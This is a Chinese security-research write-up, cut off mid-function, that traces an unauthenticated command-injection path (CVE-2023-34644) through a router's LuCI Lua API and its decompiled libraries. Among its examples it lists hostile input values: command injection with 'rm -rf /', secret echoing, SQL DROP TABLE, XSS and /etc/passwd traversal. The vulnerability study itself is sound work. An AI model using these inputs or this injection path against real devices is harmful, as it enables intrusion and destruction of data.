CVE-2023-34644

luci框架和lua文件

/etc/config/luci通常是luci框架的配置文件,/usr/lib/lua/luci 通常是 LuCI 框架的核心文件所在的目录

Luci采用的是MVC的Web框架,即Model、View、Controller

1
2
3
/usr/lib/lua/luci/controller/   --控制层 
/usr/lib/lua/luci/view/ --视图层
/usr/lib/lua/luci/model/cbi/ --模型层

未授权的漏洞,那么首先就要找到无鉴权的API接口,定位到/usr/lib/lua/luci/controller/eweb/api.lua文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
-- API集合
module("luci.controller.eweb.api", package.seeall)
function index()
local function authenticator(validator)
local http = require "luci.http"
local sid = http.formvalue("auth", true) or false

if sid then -- if authentication token was given
local sauth = require "luci.sauth"
sid = sid:match("^[a-f0-9]*$")
local sdat = sauth.read(sid)
if sdat then -- if given token is valid
if type(sdat) == "table" then -- and sdat.rip == http.getenv("REMOTE_ADDR") then
return sdat
end
end
end
local tool = require "luci.utils.tool"
local _ok, _auth = tool.doCheck()
if _ok and _auth then
return {sid = _auth, token = _auth}
end
-- 执行代理请求失败时,不退出主设备的
-- 场景:在AP列表代理配置AP去重启设备,重启完成后AP的session没了但是不要退出主设备的EWEB
if not string.match(http.getenv('HTTP_REFERER') or "", "^.+/snos_red_%d+\.%d+\.%d+\.%d+/.+") then
tool.logout()
end
http.status(403, "Forbidden Api")
http.write_json({code = 2, msg = "403 Forbidden, auth is not passed"})
end
local api = node("api")
api.sysauth = "admin"
api.sysauth_authenticator = authenticator
api.notemplate = true

entry({"api", "auth"}, call("rpc_auth"), nil).sysauth = false

entry({"api", "common"}, call("rpc_common"), nil)

entry({"api", "cmd"}, call("rpc_cmd"), nil)

entry({"api", "system"}, call("rpc_system"), nil)

entry({"api", "diagnose"}, call("rpc_diagnose"), nil)

entry({"api", "overview"}, call("rpc_overview"), nil)

entry({"api", "network"}, call("rpc_network"), nil)

entry({"api", "wireless"}, call("rpc_wireless"), nil)

entry({"api", "download"}, call("down_file"), nil)

entry({"api", "switch"}, call("rpc_switch"), nil)

entry({"api", "openvpn"}, call("openvpn"), nil)
end

还有一些模块的定义,上述可以分为模块声明路由定义,其中模块声明中

  • module("luci.controller.eweb.api", package.seeall):定义一个名为 luci.controller.eweb.api 的模块,并导出所有函数。

路由定义中

  • entry({"api", "auth"}, call("rpc_auth"), nil).sysauth = false:注册 /api/auth 路径,调用 rpc_auth 函数处理请求,并禁用系统认证。

根据其中调用的rpc_auth函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
-- 认证模块
function rpc_auth()
local jsonrpc = require "luci.utils.jsonrpc"
local http = require "luci.http"
local ltn12 = require "luci.ltn12"
local _tbl = require "luci.modules.noauth"
if tonumber(http.getenv("HTTP_CONTENT_LENGTH") or 0) > 1000 then
http.prepare_content("text/plain")
-- http.write({code = "1", err = "too long data"})
return "too long data"
end
http.prepare_content("application/json")
ltn12.pump.all(jsonrpc.handle(_tbl, http.source()), http.write)
end

引入了必要的模块

1
2
3
4
local jsonrpc = require "luci.utils.jsonrpc"
local http = require "luci.http"
local ltn12 = require "luci.ltn12"
local _tbl = require "luci.modules.noauth"
  • jsonrpc:用于处理 JSON-RPC 请求。
  • http:用于处理 HTTP 请求和响应。
  • ltn12:用于处理数据流。
  • _tbl:假设是一个包含无认证功能的模块(noauth),用于处理实际的 JSON-RPC 方法。

因此定位到对应的处理文件/usr/lib/lua/luci/modules/noauth.lua

然后再看luci.utils.jsonrpc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
--[[
LuCI - Lua Configuration Interface

Copyright 2008 Steven Barth <steven@midlink.org>
Copyright 2008 Jo-Philipp Wich <xm@leipzig.freifunk.net>

Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at

http://www.apache.org/licenses/LICENSE-2.0

$Id$
]] --

module("luci.utils.jsonrpc", package.seeall)
require "luci.json"
function resolve(mod, method)
local path = luci.util.split(method, ".")

for j = 1, #path - 1 do
if not type(mod) == "table" then
break
end
mod = rawget(mod, path[j])
if not mod then
break
end
end
mod = type(mod) == "table" and rawget(mod, path[#path]) or nil
if type(mod) == "function" then
return mod
end
end

function handle(tbl, rawsource, ...)
local decoder = luci.json.Decoder()
local stat, err = luci.ltn12.pump.all(rawsource, decoder:sink())
local json = decoder:get()
local response
local success = false

if stat then
if type(json.method) == "string" then
local method = resolve(tbl, json.method)
if method then
response = reply(json.jsonrpc, json.id, proxy(method, json.params or {}))
else
response = reply(json.jsonrpc, json.id, nil, {code = -32601, message = "Method not found."})
end
else
response = reply(json.jsonrpc, json.id, nil, {code = -32600, message = "Invalid request."})
end
else
response = reply("2.0", nil, nil, {code = -32700, message = "Parse error.", err = err})
end

return luci.json.Encoder(response, ...):source()
end

function reply(jsonrpc, id, res, err)
require "luci.json"
id = id or luci.json.null

-- 1.0 compatibility
if jsonrpc ~= "2.0" then
jsonrpc = nil
res = res or luci.json.null
err = err or luci.json.null
end
-- if type(res) == "string" then
-- res = luci.json.decode(res) or res
-- end
return {id = id, data = res, error = err, jsonrpc = jsonrpc, code = 0}
end

function proxy(method, ...)
local tool = require "luci.utils.tool"
local res = {luci.util.copcall(method, ...)}
local stat = table.remove(res, 1)
if not stat then
tool.debug("[" .. os.date() .. " -s]" .. "===== RPC ERROR LOG", {params = ...})
-- return nil, {code = -32602, data = "jsonrpc:81", params = ..., res = res}
return nil, {code = -32602, data = "jsonrpc:81", res = res}
else
if #res <= 1 then
return res[1] or luci.json.null
else
tool.debug("[" .. os.date() .. " -s]" .. "===== RPC ERROR LOG", {params = ...})
-- return {code = -32603, data = "jsonrpc:89", params = ..., res = res}
return {code = -32603, data = "jsonrpc:89", res = res}
end
end
end

四个函数分别的作用是

1
2
3
4
resolve(mod, method): ---解析模块 mod 中的方法 method。
handle(tbl, rawsource, ...): ---处理 JSON-RPC 请求。
reply(jsonrpc, id, res, err): ---生成 JSON-RPC 响应。
proxy(method, ...): ---代理执行 JSON-RPC 方法。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
function handle(tbl, rawsource, ...)
local decoder = luci.json.Decoder()
local stat, err = luci.ltn12.pump.all(rawsource, decoder:sink())
local json = decoder:get()
local response
local success = false

if stat then
if type(json.method) == "string" then
local method = resolve(tbl, json.method)
if method then
response = reply(json.jsonrpc, json.id, proxy(method, json.params or {}))
else
response = reply(json.jsonrpc, json.id, nil, {code = -32601, message = "Method not found."})
end
else
response = reply(json.jsonrpc, json.id, nil, {code = -32600, message = "Invalid request."})
end
else
response = reply("2.0", nil, nil, {code = -32700, message = "Parse error.", err = err})
end

return luci.json.Encoder(response, ...):source()
end

着重看中间部分:

  • 使用 resolve 函数解析method,找到对应的 Lua 函数。
  • 如果找到方法,使用proxy函数调用方法,并生成响应。
    • proxy(method, json.params or {}):调用方法并传递参数。
    • reply(json.jsonrpc, json.id, ...):生成 JSON-RPC 响应。
  • 如果未找到方法,生成错误响应,错误码 -32601 表示 “Method not found”。

代码细节:

  • resolve 函数用于解析方法名,找到对应的 Lua 函数。

  • 它将方法名按 . 分割成路径,然后逐级查找对应的表,最终找到方法。

  • reply 函数用于生成 JSON-RPC 响应。

  • 它根据 JSON-RPC 版本和请求 ID 生成响应对象。

  • proxy 函数用于安全调用方法,并处理可能的错误。

  • 它使用 luci.util.copcall 捕获调用中的错误,并根据调用结果生成响应。

可以得知这里通过JSON数据的method字段定位并调用noauth.lua中对应的函数,同时将Json数据的params字段内容作为参数传入

分析noauth.lua(寻找可疑漏洞的入口)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
module("luci.modules.noauth", package.seeall)

-- 登录
function login(params)
local disp = require("luci.dispatcher")
local common = require("luci.modules.common")
local tool = require("luci.utils.tool")
if params.password and tool.includeXxs(params.password) then
tool.eweblog("INVALID DATA", "LOGIN FAILED")
return
end
local authOk
local ua = os.getenv("HTTP_USER_AGENT") or "unknown brower (ua is nil)"
tool.eweblog(ua, "LOGIN UA")
local checkStat = {
password = params.password,
username = "admin", -- params.username,
encry = params.encry,
limit = params.limit
}
local authres, reason = tool.checkPasswd(checkStat)
local log_opt = {username = params.username, level = "auth.notice"}
if authres then
authOk = disp.writeSid("admin")
-- 手动登录时设置时间
if params.time and tonumber(params.time) then
common.setSysTime({time = params.time})
end
log_opt.action = "login-success"
else
log_opt.action = "login-fail"
end
tool.write_log(log_opt)
return authOk
end

-- 单点登录
function singleLogin()
local sauth = luci.sauth
local fs = require "nixio.fs"
local config = require("luci.config")
config.sauth = config.sauth or {}
local sessionpath = config.sauth.sessionpath
if sauth.sane() then
local id
for id in fs.dir(sessionpath) do
sauth.kill(id)
end
end
end

-- 网络合并
function merge(params)
local cmd = require "luci.modules.cmd"
return cmd.devSta.set({device = "pc", module = "networkId_merge", data = params, async = true})
end

-- ping checknet
function checkNet(params)
if params.host then
local tool = require("luci.utils.tool")
if string.len(params.host) > 50 or not tool.checkIp(params.host) then
return {connect = false, msg = "host illegal"}
end
local json = require "luci.json"
local _curl =
'curl -s -k -X POST \'http://%s/cgi-bin/luci/api/auth\' -H content-type:application/json -d \'{"method":"checkNet"}\'' %
params.host
local _data = json.decode(luci.sys.exec(_curl))
if type(_data) == "table" then
if type(_data.data) == "table" then
return _data.data
end
return {connect = false}
else
return {connect = false}
end
else
return {connect = true}
end
end

winmt师傅学习

在noauth.lua中,有loginsingleLoginmergecheckNet四个方法。其中,singleLogin函数无可控制的参数,不用看;checkNet函数中参数可控的字段只有params.host,并拼接入了命令字符串执行,但是在之前有tool.checkIp(params.host)对其的合法性进行了检查,无法绕过。

那么思考如果没有对host进行合法性检查有什么利用手段呢?

  1. 输入验证和注入攻击
    • SQL注入:如果非法地址未被正确验证并直接用于数据库查询,攻击者可能构造恶意输入来执行任意SQL代码。
      • 例如:params.host = "192.168.1.1'; DROP TABLE users; --"
    • 命令注入:如果非法地址用于系统命令或脚本执行,攻击者可能注入恶意命令。
      • 例如:params.host = "192.168.1.1; rm -rf / --"
      • params.host = "192.168.1.1;rm -rf /*'#"加个’让url闭合#注释掉之后的直到’
  2. 跨站脚本攻击(XSS)
    • 如果非法地址未被正确过滤并显示在网页中,攻击者可能插入恶意脚本,导致XSS攻击。
      • 例如:params.host = "<script>alert('XSS');</script>"
  3. 跨站请求伪造(CSRF)
    • 如果非法地址用于生成或处理URL,攻击者可能构造恶意请求以执行CSRF攻击。
      • 例如:params.host = "example.com"; 被替换为攻击者控制的域名。
  4. 拒绝服务(DoS)攻击
    • 处理非法地址可能导致服务器资源耗尽,导致服务不可用。例如,处理一个非常长的字符串或复杂的正则表达式可能消耗大量CPU和内存资源。
  5. 信息泄露
    • 如果非法地址包含敏感信息且未被正确处理,可能导致信息泄露。
      • 例如:params.host = "192.168.1.1; echo $SECRET_KEY"
  6. 路径遍历攻击
    • 如果非法地址用于文件路径操作,攻击者可能利用路径遍历来访问或修改不应访问的文件。
      • 例如:params.host = "../../../../etc/passwd"

这就是web吗太高级了woc

可惜对host字段进行了check

那么来看login函数,乍一看可以控制的字符十分的多,params.password,params.time,params.encry,params.limit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
-- 登录
function login(params)
local disp = require("luci.dispatcher")
local common = require("luci.modules.common")
local tool = require("luci.utils.tool")
if params.password and tool.includeXxs(params.password) then --password过滤危险字符,猜测之后有命令执行
tool.eweblog("INVALID DATA", "LOGIN FAILED")
return
end
local authOk
local ua = os.getenv("HTTP_USER_AGENT") or "unknown brower (ua is nil)"
tool.eweblog(ua, "LOGIN UA")
local checkStat = {
password = params.password,
username = "admin", -- params.username,
encry = params.encry,
limit = params.limit
}
local authres, reason = tool.checkPasswd(checkStat)
local log_opt = {username = params.username, level = "auth.notice"}
if authres then
authOk = disp.writeSid("admin")
-- 手动登录时设置时间
if params.time and tonumber(params.time) then
common.setSysTime({time = params.time})
end
log_opt.action = "login-success"
else
log_opt.action = "login-fail"
end
tool.write_log(log_opt)
return authOk
end

可以看到

1
if params.password and tool.includeXxs(params.password) then  --password过滤危险字符,猜测之后有命令执行

这里过滤了

1
2
3
4
function includeXxs(str)
local ngstr = "[`&$;|]"
return string.match(str, ngstr) ~= nil
end

winmt师傅说少过滤了一个\n或许未来有命令注入的可能,类似;这个效果

1
local authres, reason = tool.checkPasswd(checkStat)

这边有个tool调用checkPasswd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
-- 检测密码是否正确
function checkPasswd(checkStat)
local cmd = require("luci.modules.cmd")
local _data = {
type = checkStat.encry and "enc" or "noenc",
password = checkStat.password,
name = checkStat.username,
limit = checkStat.limit and "true" or nil
}
local _check = cmd.devSta.get({module = "adminCheck", device = "pc", data = _data})
if type(_check) == "table" and _check.result == "success" then
return true
end
return false, _check.reason
end

会发现encry字段和limit字段都变成了加密或者不加密,真或者假,好像变得不可控了

1
local _check = cmd.devSta.get({module = "adminCheck", device = "pc", data = _data})  --传入的参数为json

调用了cmd的devSta.get

1
2
3
4
5
6
7
8
9
if opt[i] == "get" then
devCap[opt[i]] = function(params)
local model = require "dev_cap"
params.method = opt[i]
params.cfg_cmd = "dev_cap"
local data, back, ip, password, shell = doParams(params)
return fetch(model.fetch, shell, params, opt[i], params.module, ip, password)
end
end

它是首先会将params传入doParams解析,之后用fetch

那么来分析一下doParams函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
local function doParams(params)
require "luci.json"
-- web接口调用全部去掉时间,强制force设置下去
if type(params.data) == "table" then --如果是table表那么赋值0
params.data.currentTime = nil
params.data.configTime = nil
params.data.configId = nil
end
local tool = require "luci.utils.tool"
if tool.includeXxs(params.module) or tool.includeXxs(params.method) then --过滤危险符号
params.module = "illegalMoule"
params.method = "illegalMethod"
end
if (not params.module or not params.method) then
return "please input module"
else
local data, back, ip, password = nil, nil, nil, nil

local _shell = params.cfg_cmd .. " " .. params.method .. " --module '" .. params.module .. "'" --构建shell
-- 远程代理调用
if params.remoteIp then
_shell = _shell .. " -i '" .. params.remoteIp .. "'"
ip = params.remoteIp
end
if params.remotePwd and not (params.cur) then
_shell = _shell .. " -p '" .. params.remotePwd .. "'"
password = params.remotePwd
end
if params.data then --处理data
data = luci.json.encode(params.data) --data便是上文的passwd字段,进行了json编码(unicode加密)
_shell = _shell .. " '" .. data .. "'"
end
if params.async == true or params.async == "true" then
back = 0
_shell = _shell .. " -b 0 "
elseif params.async == false or params.async == "false" then
back = 1
_shell = _shell .. " -b 1 "
end
return data, back, ip, password, _shell
end
end

而这里会把\n字符编码为\u000a,导致最后的漏洞点被补上

因此看最后一个merge函数

1
2
3
4
5
-- 网络合并
function merge(params)
local cmd = require "luci.modules.cmd"
return cmd.devSta.set({device = "pc", module = "networkId_merge", data = params, async = true})
end

可以看到没有对params有任何的处理,调用了set函数

1
2
3
4
5
6
7
devSta['set'] = function(params)
local model = require "dev_sta"
params.method = 'set'
params.cfg_cmd = "dev_sta"
local data, back, ip, password, shell = doParams(params)
return fetch(model.fetch, shell, params, opt[i], params.module, data, back, ip, password)
end

data字段便是我们可控的(即最初POST报文中params的内容)

主fetch函数的调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
local function fetch(fn, shell, params, ...)
require "luci.json"
local tool = require "luci.utils.tool"
local _start = os.time()
local _res = fn(...)
tool.eweblog(shell, params.device, os.time() - _start)
if params.method ~= "get" then
tool.write_log({action = shell})
end
if _res.code == 0 then
_res = _res.data or ""
if params.noParse then
return _res
end
return _res and luci.json.decode(_res) or (_res or "")
end
return _res
end

其中的fn函数便是modle.fetch

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
--主函数
function fetch(cmd, module, param, back, ip, password, force, not_change_configId, multi)
local uf_call = require "libuflua"
local ctype

ctype = get_ctype()
param = param or ""
ip = ip or ""
password = password or ""
if force and force == "1" then
force = true
else
force = false
end

if back and back == "1" then
back = true
else
back = false
end

if not_change_configId then
not_change_configId = true
else
not_change_configId = false
end

if multi then
multi = true
else
multi = false
end

local stat = uf_call.client_call(ctype, cmd, module, param, back, ip, password, force, not_change_configId, multi)
return stat
end

可以看到其调用了libuflua的client_call函数

首先再libuflua.so中直接看是找不到client_call函数的,可能是因为该函数名称被识别为了代码段,因此放入010editor中,搜索字符串client_call,找到0xFF0位置,按A,

1
LOAD:00000FF0 63 6C 69 65 6E 74 5F 63 61 6C+aClientCall:.ascii "client_call"<0>      # DATA XREF: LOAD:off_1101C↓o

寻找交叉调用

1
2
3
4
5
int __fastcall luaopen_libuflua(int a1)
{
luaL_register(a1, "libuflua", &off_1101C);
return 1;
}

这个函数使用了__fastcall 调用约定,在这种约定下,函数的前两个整数参数通过寄存器传递,其中luaL_register是一个Lua C API 函数,用于将 C 函数注册到 Lua 中。它通常用于将一组 C 函数注册为一个 Lua 库。

luaL_register 函数将 off_1101C 指向的函数库表注册到 Lua 中,并将其命名为 libuflua

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
int __fastcall sub_A00(int a1)
{
int v2; // $v0
int v3; // $s1
int v4; // $s3
int v5; // $s2
int v6; // $v0
int v7; // $v1
int v8; // $s3
int v9; // $a1
int v10; // $a0
int v11; // $a1
int v13[3]; // [sp+18h] [-Ch] BYREF

v13[0] = 0;
v2 = malloc(0x34);
v3 = v2;
if ( v2 )
{
memset(v2, 0, 52);
v5 = 4;
*(_DWORD *)v3 = luaL_checkinteger(a1, 1);
*(_DWORD *)(v3 + 4) = luaL_checklstring(a1, 2, 0);
v6 = luaL_checklstring(a1, 3, 0);
v7 = *(_DWORD *)v3;
*(_DWORD *)(v3 + 8) = v6;
if ( v7 != 3 )
{
*(_DWORD *)(v3 + 12) = lua_tolstring(a1, 4, 0);
*(_BYTE *)(v3 + 41) = lua_toboolean(a1, 5) == 1;
v5 = 6;
*(_BYTE *)(v3 + 40) = 1;
}
*(_DWORD *)(v3 + 20) = lua_tolstring(a1, v5, 0);
*(_DWORD *)(v3 + 24) = lua_tolstring(a1, v5 + 1, 0);
v8 = v5 + 2;
if ( *(_DWORD *)v3 )
{
if ( *(_DWORD *)v3 == 2 )
{
v8 = v5 + 3;
*(_BYTE *)(v3 + 43) = lua_toboolean(a1, v5 + 2) == 1;
}
}
else
{
*(_BYTE *)(v3 + 43) = lua_toboolean(a1, v5 + 2) == 1;
v8 = v5 + 4;
*(_BYTE *)(v3 + 44) = lua_toboolean(a1, v5 + 3) == 1;
}
*(_BYTE *)(v3 + 48) = lua_toboolean(a1, v8) == 1;
v4 = uf_client_call(v3, v13, 0);
}
else
{
v13[0] = strdup("memory full!");
v4 = -1;
}
lua_createtable(a1, 0, 0);
lua_pushstring(a1, "code");
if ( v4 )
{
lua_pushnumber(a1, v9, loc_1000, loc_1004);
lua_rawset(a1, -3);
lua_pushstring(a1, "err");
lua_pushstring(a1, v13[0]);
lua_rawset(a1, -3);
lua_pushstring(a1, "data");
v10 = a1;
v11 = 0;
}
else
{
lua_pushnumber(a1, v9, 0, 0);
lua_rawset(a1, -3);
lua_pushstring(a1, "err");
lua_pushstring(a1, 0);
lua_rawset(a1, -3);
lua_pushstring(a1, "data");
v11 = v13[0];
v10 = a1;
}
lua_pushstring(v10, v11);
lua_rawset(a1, -3);
if ( v13[0] )
free();
return 1;
}

为了能顺利分析这个C函数,我们要先了解Lua栈是什么

Lua 栈是 Lua 虚拟机用来管理函数调用和数据传递的一个重要结构。它是一个后进先出(LIFO)的数据结构,专门用于在 C 和 Lua 之间传递数据。每个 Lua 状态机(lua_State)都有自己的栈,用于存储函数参数、返回值和临时变量。

  1. 压栈操作:
    • lua_pushnumber(lua_State* L, lua_Number n): 将一个数字压入栈中。
    • lua_pushstring(lua_State* L, const char* s): 将一个字符串压入栈中。
    • lua_pushboolean(lua_State* L, int b): 将一个布尔值压入栈中。
    • lua_pushnil(lua_State* L): 将一个 nil 压入栈中。
  2. 弹栈操作:
    • lua_tonumber(lua_State* L, int index): 将栈上指定索引处的值转换为数字。
    • lua_tostring(lua_State* L, int index): 将栈上指定索引处的值转换为字符串。
    • lua_toboolean(lua_State* L, int index): 将栈上指定索引处的值转换为布尔值。
  3. 栈操作:
    • lua_settop(lua_State* L, int index): 设置栈顶索引。
    • lua_gettop(lua_State* L): 获取栈顶索引。
    • lua_remove(lua_State* L, int index): 移除栈上指定索引处的值。
  4. 表操作:
    • lua_createtable(lua_State* L, int narr, int nrec): 创建一个新的表并压入栈中。
    • lua_settable(lua_State* L, int index): 将栈顶的值弹出并存储在表中。
    • lua_gettable(lua_State* L, int index): 获取表中的值并压入栈中。

但是可以直接理解为调用了v4 = uf_client_call(v3, v13, 0);uf_client_call函数,因为本函数明显没有显示的漏洞点,因此就先跟进然后再返回来找

image-20240527003055624

从这里跟平时的C库是一样的,说明这个函数是一个外部库定义的函数

image-20240527003258125

搜索到显然是libunifyframe.so库

二进制文件分析

在分析之前附上zikh26师傅画的调用栈

image-20240529225726519

uf_client_call

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
int __fastcall uf_client_call(int a1, int a2, int a3)
{
int v4; // $s3
int v6; // $s4
int v7; // $s5
int v8; // $s1
int v9; // $v0
int v10; // $a0
int v11; // $a1
const char *v12; // $a2
int v13; // $s5
int v14; // $s5
int v15; // $s5
int v16; // $s5
int v17; // $v0
int v18; // $s4
int v19; // $s1
int v20; // $v0
int v21; // $a0
int v22; // $v0
int v23; // $a0
int v24; // $v0
int v25; // $v0
int v26; // $v0
int v27; // $v0
int v28; // $v0
int v29; // $a0
const char *v30; // $a1
int v31; // $v0
int v32; // $v0
int v33; // $v0
int v34; // $v0
int v35; // $v0
_BYTE *v36; // $a0
int v37; // $v0
_BYTE *v38; // $a0
int v39; // $v0
int v40; // $s4
int v41; // $s1
const char *v42; // $t0
const char *v43; // $v1
const char *v44; // $v0
int v45; // $a1
int v46; // $v0
char *v47; // $s3
unsigned int v48; // $v0
_DWORD *v49; // $s7
int v50; // $v1
int v51; // $v0
int v52; // $s0
char v53[128]; // [sp+30h] [-90h] BYREF
int v54; // [sp+B0h] [-10h]
int v55; // [sp+B4h] [-Ch]
int v56; // [sp+B8h] [-8h]

if ( !a3 )
{
v55 = 0;
v54 = 38;
}
getpid();
if ( !*(_DWORD *)(a1 + 4) || !*(_DWORD *)(a1 + 8) )
{
syslog(3, "(%s %s %d)cmd or module is null", "lib_unifyframe.c", "uf_client_call");
return -1;
}
v4 = json_object_new_object();
if ( !v4 )
{
syslog(3, "(%s %s %d)json_object_new_object failed", "lib_unifyframe.c", "uf_client_call");
return -1;
}
v6 = *(_DWORD *)(a1 + 4);
switch ( *(_DWORD *)a1 )
{
case 0:
v14 = ((int (*)(void))strlen)() + 10;
v8 = calloc(v14, 1);
v9 = 453;
if ( !v8 )
goto LABEL_20;
v10 = v8;
v11 = v14;
v12 = "acConfig.%s";
goto LABEL_22;
case 1:
v13 = ((int (*)(void))strlen)() + 11;
v8 = calloc(v13, 1);
v9 = 443;
if ( !v8 )
goto LABEL_20;
v10 = v8;
v11 = v13;
v12 = "devConfig.%s";
goto LABEL_22;
case 2:
v7 = ((int (*)(void))strlen)() + 8;
v8 = calloc(v7, 1);
v9 = 433;
if ( !v8 )
goto LABEL_20;
v10 = v8;
v11 = v7;
v12 = "devSta.%s";
goto LABEL_22;
case 3:
v15 = ((int (*)(void))strlen)() + 8;
v8 = calloc(v15, 1);
v9 = 463;
if ( !v8 )
goto LABEL_20;
v10 = v8;
v11 = v15;
v12 = "devCap.%s";
goto LABEL_22;
case 4:
v16 = ((int (*)(void))strlen)() + 7;
v17 = calloc(v16, 1);
v8 = v17;
if ( !v17 )
{
v9 = 473;
LABEL_20:
uf_log_printf(uf_log, "ERROR (%s %s %d)malloc failed!", "lib_unifyframe.c", "uf_client_call", v9);
goto LABEL_24;
}
v10 = v17;
v11 = v16;
v12 = "ufSys.%s";
LABEL_22:
if ( snprintf(v10, v11, v12, v6) < 0 )
{
free(v8);
LABEL_24:
json_object_put(v4);
syslog(3, "(%s %s %d)method snprintf failed", "lib_unifyframe.c", "uf_client_call");
return -1;
}
v18 = json_object_new_string(v8);
free(v8);
if ( !v18 )
{
json_object_put(v4);
syslog(3, "(%s %s %d)new obj_method failed", "lib_unifyframe.c", "uf_client_call");
return -1;
}
json_object_object_add(v4, "method", v18);
v19 = json_object_new_object();
if ( !v19 )
{
json_object_put(v4);
syslog(3, "(%s %s %d)new obj_param failed", "lib_unifyframe.c", "uf_client_call");
return -1;
}
v20 = json_object_new_string(*(_DWORD *)(a1 + 8));
if ( !v20 )
{
json_object_put(v19);
json_object_put(v4);
syslog(3, "(%s %s %d)new obj_module failed", "lib_unifyframe.c", "uf_client_call");
return -1;
}
json_object_object_add(v19, "module", v20);
v21 = *(_DWORD *)(a1 + 20);
if ( !v21 )
goto LABEL_34;
v22 = json_object_new_string(v21);
if ( !v22 )
goto LABEL_40;
json_object_object_add(v19, "remoteIp", v22);
LABEL_34:
v23 = *(_DWORD *)(a1 + 24);
if ( v23 )
{
v24 = json_object_new_string(v23);
if ( !v24 )
{
json_object_put(v19);
json_object_put(v4);
syslog(3, "(%s %s %d)new obj_passwd failed", "lib_unifyframe.c", "uf_client_call");
return -1;
}
json_object_object_add(v19, "remotePwd", v24);
}
if ( *(_DWORD *)(a1 + 36) )
{
v25 = json_object_new_int();
if ( !v25 )
{
LABEL_40:
json_object_put(v19);
json_object_put(v4);
syslog(3, "(%s %s %d)new obj_remoteip failed", "lib_unifyframe.c", "uf_client_call");
return -1;
}
json_object_object_add(v19, "buf", v25);
}
if ( *(_DWORD *)a1 )
{
if ( *(_DWORD *)a1 != 2 )
{
v26 = *(unsigned __int8 *)(a1 + 45);
goto LABEL_56;
}
if ( *(_BYTE *)(a1 + 42) )
{
v28 = json_object_new_boolean(1);
if ( v28 )
{
v29 = v19;
v30 = "execute";
goto LABEL_54;
}
}
}
else
{
if ( *(_BYTE *)(a1 + 43) )
{
v27 = json_object_new_boolean(1);
if ( v27 )
json_object_object_add(v19, "force", v27);
}
if ( *(_BYTE *)(a1 + 44) )
{
v28 = json_object_new_boolean(1);
if ( v28 )
{
v29 = v19;
v30 = "configId_not_change";
LABEL_54:
json_object_object_add(v29, v30, v28);
}
}
}
v26 = *(unsigned __int8 *)(a1 + 45);
LABEL_56:
if ( v26 )
{
v31 = json_object_new_boolean(1);
if ( v31 )
json_object_object_add(v19, "from_url", v31);
}
if ( *(_BYTE *)(a1 + 47) )
{
v32 = json_object_new_boolean(1);
if ( v32 )
json_object_object_add(v19, "from_file", v32);
}
if ( *(_BYTE *)(a1 + 48) )
{
v33 = json_object_new_boolean(1);
if ( v33 )
json_object_object_add(v19, "multi", v33);
}
if ( *(_BYTE *)(a1 + 46) )
{
v34 = json_object_new_boolean(1);
if ( v34 )
json_object_object_add(v19, "not_commit", v34);
}
if ( *(_BYTE *)(a1 + 40) )
{
v35 = json_object_new_boolean(*(unsigned __int8 *)(a1 + 41) ^ 1);
